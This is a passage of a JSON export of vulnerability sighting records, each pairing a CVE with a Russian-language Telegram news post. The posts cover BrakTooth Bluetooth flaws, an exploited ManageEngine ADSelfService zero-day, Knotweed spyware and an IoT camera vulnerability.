\u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0449\u0438\u0442\u044f\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows \u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 Knotweed \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0416\u0434\u0435\u043c \u043d\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0435\u043d\u0438\u0439. \u041a\u0440\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0445\u043e\u0434 \u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0432 \u0442\u0440\u0435\u043d\u0434\u0435.", "creation_timestamp": "2022-07-28T12:01:02.000000Z"}, {"uuid": "cf9c1d8e-aa45-4baf-803b-222398b4601b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "seen", "source": "https://t.me/NeKaspersky/1183", "content": "Bluetooth \u0441\u043d\u043e\u0432\u0430 \u0432\u0441\u0435\u0445 \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b \u0434\u044b\u0440\u0430\u043c\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u043b\u0438 16 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430 Bluetooth, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430\u043c\u0438. \u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0438 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c BrakTooth. \n\n\u041e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0442\u044c \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u043e\u0432, \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u043e\u0432, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \n\n\u0421\u0430\u043c\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2021-28139. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \n\n\u0415\u0441\u0442\u044c \u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438. BrakTooth \u0445\u043e\u0442\u044c \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \u0434\u0435\u0432\u0430\u0439\u0441\u043e\u0432, \u043d\u043e \u043a\u0430\u0436\u0434\u043e\u0435 \u0432 \u0440\u0430\u0437\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438.", "creation_timestamp": "2021-09-02T13:25:20.000000Z"}, {"uuid": "87da01ec-7517-4f48-9009-1a6c6aae33b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28958", "type": "exploited", "source": "https://t.me/true_secator/2092", "content": "\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410 CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Zoho ManageEngine ADSelfService.\n\nManageEngine ADSelfService - \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f Active Directory \u0432 Microsoft Windows, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c 2FA \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c - \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0430\u0440\u043e\u043b\u0438. ADSelfService Plus \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 SAML, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Office 365, Salesforce \u0438 G Suite.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2021-40539. \u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 REST API, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE) \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0441\u0431\u043e\u0440\u043a\u0438 ADSelfService Plus \u0434\u043e 6113 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u041d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0443\u0436\u0435 \u043f\u044f\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 ManageEngine ADSelfService Plus \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 - CVE-2021-37421, CVE-2021-37417 \u0438 CVE-2021-33055 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445. \u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2021-28958 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043c\u0430\u0440\u0442\u0435 2021 \u0433\u043e\u0434\u0430. \u0412\u0441\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0440\u0438\u0441\u043a\u0430 \u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 9,8.\n\n\u041f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u044f\u0435\u043c\u0441\u044f \u043a CISA \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c  \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 ManageEngine, \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f. \u0421\u043a\u0435\u043f\u0442\u0438\u043a\u0430\u043c \u0436\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0435 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b, \u043a\u043e\u0433\u0434\u0430 APT41 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438  RCE \u0432 ManageEngine Desktop Central (CVE-2020-10189) \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0438\u0445 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439.", "creation_timestamp": "2021-09-10T18:38:03.000000Z"}, {"uuid": "76a5c4e7-b4f3-4e62-8e41-99d69060ccf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "seen", "source": "https://t.me/true_secator/2065", "content": "\u200b\u200b\u0420\u0430\u0441\u043a\u0440\u044b\u0442 \u043d\u0430\u0431\u043e\u0440 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Bluetooth \u043f\u043e\u0434 \u043e\u0431\u0449\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c BrakTooth.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u043f\u0435\u0446\u043e\u0432 ASSET Research Group \u0438\u0437 \u0421\u0438\u043d\u0433\u0430\u043f\u0443\u0440\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438 \u0434\u0438\u0437\u0430\u0439\u043d\u0430 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u041f\u041e Bluetooth 13 \u043f\u043b\u0430\u0442 SoC \u043e\u0442 11 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 16 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u0441\u0442\u0435\u043a.\n\nBrakTooth \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0441\u0442\u0440\u043e\u044f \u0438\u043b\u0438 \u0434\u0435\u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u043e\u0432\u0441\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b \u0441\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u0441\u0442\u0435\u043a\u0438 Bluetooth \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 1400 \u043d\u0430\u0431\u043e\u0440\u0430\u0445 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0442\u0440\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432,  \u0438\u0441\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u043d\u0430 \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b. \n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 CVE-2021-28139  \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043a\u0435\u0442\u044b Bluetooth LMP, \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f, \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u043b\u0430\u0442\u0430\u0445 ESP32 SoC Espressif Systems.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0431\u043e\u044f Bluetooth \u043d\u0430 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u0430\u0445 \u0438 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0430\u0445, \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u044f\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438 Bluetooth LMP, \u0447\u0442\u043e \u0432\u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0438 Microsoft Surface, \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b Dell \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 Qualcomm.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043b\u044e\u0431\u0430\u044f \u0438\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a BrakTooth \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f Bluetooth \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043c\u0435\u043d\u0435\u0435 15 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0431\u044b\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u044b \u0432\u0441\u0435\u043c 11 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438. \u0418  \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u043e\u0436\u0438\u0434\u0430\u0442\u044c, \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c. Espressif Systems, Infineon \u0438 Bluetrum \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a Texas Instruments \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d \u044d\u0442\u043e\u0433\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435. \u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0432\u0435\u0434\u0443\u0442 \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u043d\u0435 \u0433\u043e\u0442\u043e\u0432\u044b \u043a \u0432\u044b\u043f\u0443\u0441\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.\n\nPoC \u043f\u043e\u0434 BrakTooth \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439, \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u043e\u0433\u043b\u0430\u0441\u043a\u0435 \u043d\u0435 \u043f\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e. \u041a\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u0432 \u0436\u0438\u0437\u043d\u0438, \u043f\u043e\u0433\u043b\u044f\u0434\u0438\u043c.", "creation_timestamp": "2021-09-02T17:07:53.000000Z"}, {"uuid": "3eddc1a7-0092-4873-a9ea-f412bd95dd15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/true_secator/2016", "content": "\u041d\u0435 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u044e\u0442 \u0443\u0434\u0438\u0432\u043b\u044f\u0442\u044c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0427\u0442\u043e \u043d\u0435 \u0431\u0430\u0433\u0430, \u0442\u043e \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0434\u0435\u0432\u0430\u0439\u0441\u043e\u0432. \n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0\u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0440\u0430\u0434\u0438\u043e\u043d\u044f\u043d\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u043e\u043c\u0443 \u0432\u0438\u0434\u0435\u043e \u0438 \u0430\u0443\u0434\u0438\u043e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 